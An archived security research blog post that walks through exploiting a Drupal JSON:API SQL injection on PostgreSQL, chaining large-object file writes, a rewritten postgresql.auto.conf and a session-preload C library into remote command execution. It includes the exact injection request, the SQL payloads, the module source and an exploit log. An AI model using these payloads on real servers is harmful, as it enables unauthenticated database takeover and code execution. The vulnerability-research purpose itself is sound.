Drupal PostgreSQL SQL Injection: From SELECT-Only to RCE

Drupal PostgreSQL SQL Injection: From SELECT-Only to RCE - N. Maccary, Lexfo / Ambionics.

- Published: date not stated
- Original: <https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html>
- Preserved from: https://blog.lexfo.fr/drupal-postgresql-sqli-to-rce.html (manual-import) on 2026-09-13
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Introduction

This article is about turning a **SELECT-only PostgreSQL SQL injection** into remote command execution.

The entry point used here is Drupal Core PostgreSQL SQL injection CVE-2026-9082, tracked by Drupal as SA-CORE-2026-004, a fully unauthenticated SQL injection reachable through a public JSON:API collection filter. Drupal is the trigger, but not the main point: once an SQL injection lets you evaluate a PostgreSQL expression such as `(SELECT ...)` as a PostgreSQL superuser, the same technique can be used outside Drupal.

The primitive stays inside one SQL statement. It does not require classic stacked queries, `COPY ... TO PROGRAM`, `CREATE EXTENSION`, `LOAD`, `DO`, or an application feature that executes shell commands. The interesting part is elsewhere: PostgreSQL exposes enough superuser-only side effects through functions to make a single expression much more powerful than it first appears.

The rest of the article builds that path step by step, starting from the Drupal sink and ending with command output recovered through the same injection.

A. Why SELECT-only matters

Most real SQL injections are not a free-form SQL console. They land inside a predicate, a scalar expression, an `ORDER BY` clause, an `IN (...)` list, or a subquery slot built by an ORM, framework, or prepared-statement wrapper.

In these situations, stacked SQL is usually unavailable. The attacker does not usually control the exact string sent to PostgreSQL. An ORM, a query builder, or a database client such as PDO

receives structured inputs, fragments, field names, operators, and values, then rebuilds the SQL query it will submit to the server. That rebuilding step changes the rules: values become placeholders, identifiers may be quoted, arrays are expanded, and some constructs are rejected before PostgreSQL ever sees them. Even when a vulnerable feature appears to accept a free-form expression, the payload is still interpreted inside the client's grammar first. Syntax that would work in a raw SQL console, especially `;` followed by a second statement, often never reaches the database as stacked SQL.

This is why SELECT-only SQLi is often treated as "data access only". The obvious PostgreSQL RCE primitives are top-level statements such as `COPY ... TO PROGRAM`, `CREATE EXTENSION`, `LOAD`, and `DO`:

```
COPY ... TO PROGRAM ...
CREATE EXTENSION ...
LOAD ...
DO ...
```

Those cannot be placed inside a scalar `(SELECT ...)` expression.

The useful observation is that PostgreSQL still exposes powerful superuser-only side effects as functions. If the injection can call functions from an expression, RCE does not need stacked statements.

B. Drupal as the trigger

CVE-2026-9082 starts in Drupal JSON:API filters. Drupal reads the `filter` query parameter, resolves the requested field, and passes the filter value to the entity query builder:

Source: `EntityResource.php#L1236-L1239`

```php
<?php
// core/modules/jsonapi/src/Controller/EntityResource.php
$params[Filter::KEY_NAME] = Filter::createFromQueryParameter(
  $request->query->all('filter'),
  $resource_type,
  $this->fieldResolver
);
```

Source: `Filter.php#L118-L123`

```php
<?php
// core/modules/jsonapi/src/Query/Filter.php
$group->condition($member->field(), $member->value(), $member->operator());
```

The PostgreSQL-specific entity query condition handler then builds a case-insensitive `IN` condition. In the vulnerable version, it uses PHP array keys when constructing PDO placeholder

names:

Source: Condition.php#L16-L33

```
<?php
public static function translateCondition(&$condition, SelectInterface $sql_query, $case_sensitive) {
 if (is_array($condition['value']) && $case_sensitive === FALSE) {
  $condition['where'] = 'LOWER(' . $sql_query->escapeField($condition['real_field']) . ') ' . $condition['operator'] . ' (';
  $condition['where_args'] = [];

  $where_prefix = str_replace('.', '_', $condition['real_field']);
  foreach ($condition['value'] as $key => $value) {
   $where_id = $where_prefix . $key;
   $condition['where'] .= 'LOWER(:' . $where_id . '),';
   $condition['where_args'][':' . $where_id] = $value;
  }
  $condition['where'] = trim($condition['where'], ',');
  $condition['where'] .= ')';
 }
 parent::translateCondition($condition, $sql_query, $case_sensitive);
}
```

A malicious request supplies one normal key to satisfy the binding and another key containing SQL:

```
GET /jsonapi/node/article?
 filter[c][condition][path]=title&
 filter[c][condition][operator]=IN&
 filter[c][condition][value][0]=x&
 filter[c][condition][value][0)) OR (SELECT pg_sleep(5)) IS NOT NULL--]=y
```

Drupal generates a placeholder that starts normally and then continues with attacker-controlled SQL:

```
LOWER(title) IN (
 LOWER(:title_value0),
 LOWER(:title_value0)) OR (SELECT pg_sleep(5)) IS NOT NULL--),
)
```

C. Getting a PostgreSQL expression

PDO named placeholders only consume alphanumeric and underscore characters after `:`. In PHP `8.3.6`, the parser rule is:

Source: pdo_sql_parser.re#L48-L62

```
BINDCHR = [:][a-zA-Z0-9_]+;
```

When PDO parses:

```
:title_value0)) OR (SELECT pg_sleep(5)) IS NOT NULL--
```

only `:title_value0` is a placeholder. Everything after it is literal SQL. Because the request also contains a legitimate key `0`, Drupal binds `:title_value0` correctly and the injected suffix survives.

The resulting primitive is not a full query. It is an expression inside a Drupal-generated `SELECT`:

```
0)) OR CAST((
  SELECT current_user
) AS int)=1--
```

The first useful output is the PostgreSQL execution context:

```
(SELECT version())
(SELECT current_user)
(SELECT current_setting('data_directory'))
(SELECT rolsuper FROM pg_roles WHERE rolname = current_user)
```

```
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
current_user: postgres
superuser: true
data_directory: /var/lib/postgresql/18/docker
```

The key line is `superuser: true`. This is deployment-dependent: the Drupal vulnerability does not imply superuser privileges by itself. In the deployment analyzed here, Drupal was configured to connect to PostgreSQL as the `postgres` superuser instead of a restricted application role.

From this point on, the Drupal-specific part is over. Any PostgreSQL SQL injection that can evaluate `(SELECT <function call>)` under the same privileges can use the same RCE path. Conversely, if Drupal uses a properly restricted database role, this PostgreSQL-superuser escalation path does not follow from the Drupal bug alone.

The PostgreSQL-only escalation is presented here on PostgreSQL 18.4, the current 18.x release at the time of writing. We also validated the same PostgreSQL primitives on 17.10, 16.14, 15.18, 14.23, 13.23, and back to 12.20. The only version-dependent part is the native module magic block.

D. File write from SELECT

The first required side effect is server-side file write. PostgreSQL large objects provide it when the injected role is superuser:

To escalate the SQL injection, we audited PostgreSQL's source code for superuser-reachable functions that can be called from a `SELECT` expression and still affect the server. Large object functions stood out immediately. Their legitimate purpose is to store binary objects inside PostgreSQL and import or export them between the database and the server filesystem. For a database administrator, this is a normal maintenance feature. For an attacker with a superuser SQL expression, it is almost the perfect primitive: arbitrary bytes can be assembled in the database, then exported to an arbitrary server-side path writable by the PostgreSQL process.

C declarations: `be_lo_create()`, `be_lo_put()`, `be_lo_export()`

In practice, each operation is still only a PostgreSQL expression. The surrounding SQL injection only needs to place one of these expressions in a `SELECT`-capable slot:

```
-- Allocate a large object.
(SELECT 1 FROM (
  SELECT lo_create(9082001)
) AS _)

-- Write one binary chunk of the native module.
(SELECT 1 FROM (
  SELECT lo_put(9082001, 0, decode('<shared-object hex chunk>', 'hex'))
) AS _)

-- Export the assembled object to a server-side path.
(SELECT 1 FROM (
  SELECT lo_export(9082001, '/var/lib/postgresql/18/docker/cve9082_preload.so')
) AS _)
```

`lo_create()` allocates the large object. `lo_put()` writes binary chunks to it. `lo_export()` writes it to a server-side filesystem path.

In PostgreSQL 18.4, `lo_export()` opens the target path with create, write, and truncate flags. The same file-write behavior is present in the versions we tested back to PostgreSQL 12.20:

Source: `be-fsstubs.c#L515-L516`

```
fd = OpenTransientFilePerm(fnamebuf, O_CREAT | O_WRONLY | O_TRUNC | PG_BINARY,
                           S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
```

Each call is embedded in the SQL injection expression. The result is not a constrained text write or a format-specific export: it is an arbitrary-content, arbitrary-path file write within the PostgreSQL service account's filesystem permissions. That makes it ideal for dropping a native shared object into PostgreSQL's data directory.

E. RCE through session preload

The command-execution step uses PostgreSQL's preload mechanism. The relevant setting is `session_preload_libraries`, a superuser-only setting loaded by each new backend:

Source: `guc_tables.c#L4475-L4483`

```
{
 {"session_preload_libraries", PGC_SUSET, CLIENT_CONN_PRELOAD,
  gettext_noop("Lists shared libraries to preload into each backend."),
  NULL,
  GUC_LIST_INPUT | GUC_LIST_QUOTE | GUC_SUPERUSER_ONLY
 },
 &session_preload_libraries_string,
 "",
 NULL, NULL, NULL
},
```

The important detail is in the timing: the setting is applied when a backend starts, not when the current SQL expression returns.

The injected expression writes `postgresql.auto.conf` with a controlled `dynamic_library_path` and preload setting:

```
dynamic_library_path = '/var/lib/postgresql/18/docker'
session_preload_libraries = 'cve9082_preload'
```

On the wire, this file is written with the same large-object primitive as the native module: create a large object, fill it with bytes, then export it over `postgresql.auto.conf`.

```
-- Allocate a second large object for the configuration file.
(SELECT 1 FROM (
  SELECT lo_create(9082002)
) AS _)

-- Write the controlled postgresql.auto.conf content.
(SELECT 1 FROM (
  SELECT lo_put(9082002, 0, decode('<postgresql.auto.conf hex chunk>', 'hex'))
) AS _)

-- Replace postgresql.auto.conf on disk.
(SELECT 1 FROM (
  SELECT lo_export(9082002, '/var/lib/postgresql/18/docker/postgresql.auto.conf')
) AS _)
```

It then reloads PostgreSQL configuration:

```
(SELECT 1 FROM (
  SELECT pg_reload_conf()
) AS _)
```

`pg_reload_conf()` signals the postmaster:

Source: `signalfuncs.c#L287-L298`

```
Datum
pg_reload_conf(PG_FUNCTION_ARGS)
{
  if (kill(PostmasterPid, SIGHUP))
  {
    ereport(WARNING,
          (errmsg("failed to send signal to postmaster: %m")));
    PG_RETURN_BOOL(false);
  }

  PG_RETURN_BOOL(true);
}
```

In PostgreSQL's process model, the postmaster is the parent server process. It owns the listening sockets, accepts new connections, forks backend processes, and supervises auxiliary processes. A "backend" is not the database engine as a whole: it is the PostgreSQL server process handling one client session.

When the postmaster receives `SIGHUP`, it reloads the configuration and tells existing children to do the same:

Source: `postmaster.c#L1991-L2007`

```
/*
 * Re-read config files, and tell children to do same.
 */
static void
process_pm_reload_request(void)
{
  ...
  ereport(LOG,
        (errmsg("received SIGHUP, reloading configuration files")));
  ProcessConfigFile(PGC_SIGHUP);
  SignalChildren(SIGHUP, btmask_all_except(B_DEAD_END_BACKEND));
```

Existing backends also process the reload, but only as a configuration update inside their main loop:

Source: `postgres.c#L4739-L4742`

```
if (ConfigReloadPending)
{
  ConfigReloadPending = false;
  ProcessConfigFile(PGC_SIGHUP);
}
```

That matters because `session_preload_libraries` is not loaded every time the config is re-read. In PostgreSQL 18.4, the interactive backend enters `InitPostgres()` with the `INIT_PG_LOAD_SESSION_LIBS` flag:

Source: `postgres.c#L4291-L4296`

```
/*
 * Honor session_preload_libraries if not dealing with a WAL sender.
 */
InitPostgres(dbname, InvalidOid,
             username, InvalidOid,
             (!am_walsender) ? INIT_PG_LOAD_SESSION_LIBS : 0,
             NULL);
```

`InitPostgres()` then processes the preload setting once, after GUC settings are ready:

Source: `postinit.c#L1222-L1228`

```
/*
 * preloaded at backend start.  Since those are determined by GUCs, this
 * can't happen until GUC settings are complete
 */
if ((flags & INIT_PG_LOAD_SESSION_LIBS) != 0)
  process_session_preload_libraries();
```

So the current backend can reload the new value, but it has already passed the point where session preload is executed. A fresh PostgreSQL backend is required. In a typical PHP / PDO deployment, another HTTP request can create a new database connection and therefore a new backend. If a pooler or persistent connection reuses an existing PostgreSQL session, the exploit has to wait for, force, or otherwise obtain a fresh server-side backend.

When the postmaster creates a new interactive backend, the child initializes the connection and then enters `PostgresMain()`:

Source: `backend_startup.c#L109-L124`

```
/* Perform additional initialization and collect startup packet */
BackendInitialize(MyClientSocket, bsdata->canAcceptConnections);

...

PostgresMain(MyProcPort->database_name, MyProcPort->user_name);
```

During that startup path, `process_session_preload_libraries()` calls the library loader for `session_preload_libraries`:

Source: `miscinit.c#L1916-L1925`

```
void
process_session_preload_libraries(void)
{
  load_libraries(session_preload_libraries_string,
                 "session_preload_libraries",
                 false);
  load_libraries(local_preload_libraries_string,
                 "local_preload_libraries",
                 true);
}
```

PostgreSQL then loads the uploaded `.so`, checks the module magic block, and calls `_PG_init()` if present:

Source: `dfmgr.c#L294-L299`

```
/*
 * If the library has a _PG_init() function, call it.
 */
PG_init = (PG_init_t) dlsym(file_scanner->handle, "_PG_init");
if (PG_init)
  (*PG_init) ();
```

The native module only needs to be compatible with PostgreSQL and export `_PG_init()`:

```
#include "postgres.h"
#include "fmgr.h"

PG_MODULE_MAGIC;

void
_PG_init(void)
{
   system("id > /tmp/cve9082_rce.out 2>&1");
}
```

The module compatibility check is version-sensitive. PostgreSQL validates a magic block before calling `_PG_init()`, so the shared object must emit the right layout for the target family: PostgreSQL 12, PostgreSQL 13-14, PostgreSQL 15-17, or PostgreSQL 18 and newer.

The command output can then be read back through the same SQL injection with `pg_read_file()`.

```
(SELECT pg_read_file('/tmp/cve9082_rce', 0, 4096, true))
```

F. Full chain

The final chain is generic. Drupal provides the injection in this case, but the PostgreSQL part only needs a SELECT-capable expression primitive:

[image: Full SELECT-only PostgreSQL RCE chain]

The same path applies when the backend is PostgreSQL, the injection can evaluate a scalar expression or subquery, the reached database role is superuser or equivalent, the transaction is not read-only, and the PostgreSQL service account can write and load a native library from a suitable server-side path.

The exploit flow is:

```
[+] Checking SQLi and PostgreSQL context
    version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) ...
    current_user: postgres superuser=True
    data_directory: /var/lib/postgresql/18/docker
    module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] Built PostgreSQL 18 preload module: cve9082_preload.so
[+] Uploading module to /var/lib/postgresql/18/docker/cve9082_preload.so
[+] Rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf for session_preload_libraries
[+] Reloading PostgreSQL config
[+] Triggering fresh backend through another request
[+] Verifying marker via pg_read_file()
[+] RCE proved:
uid=999(postgres) gid=999(postgres) groups=999(postgres)


__exit=0
```

G. Impact

The Drupal SQL injection is fully unauthenticated through JSON:API. More generally, any PostgreSQL SQL injection that can evaluate a `(SELECT ...)` expression as a PostgreSQL superuser should be treated as potential command execution, not merely database read access.

When the injected expression runs as a PostgreSQL superuser, the attacker has full control over the PostgreSQL database. That includes reading and modifying application tables directly, creating or modifying Drupal administrator accounts in a Drupal deployment, extracting application secrets, and altering application data.

The native-library preload chain also provides command execution as the PostgreSQL operating-system user. That exposes database files, PostgreSQL configuration, container metadata, and any secrets available to the database process.

The RCE lands in the database service context, not directly in the PHP process. In practice, full database control plus leaked application credentials is enough to take over the application. Depending on deployment boundaries, the database container or host can also become a pivot point toward the web tier or other internal services.

Conclusion

CVE-2026-9082 is a Drupal bug, but the interesting part is the PostgreSQL primitive it unlocks: SELECT-only SQLi to RCE when the injected expression runs as a PostgreSQL superuser.

The exploit does not need classic stacked SQL. The injected value stays inside one generated `SELECT`, but PostgreSQL superuser functions give enough side effects to write a native library, load it through `session_preload_libraries`, and execute `_PG_init()` on a fresh backend.

A compact implementation is available on Ambionics' GitHub.

This is the practical lesson from the chain: "SELECT-only" is not a meaningful safety boundary when the selected expression runs as a PostgreSQL superuser.
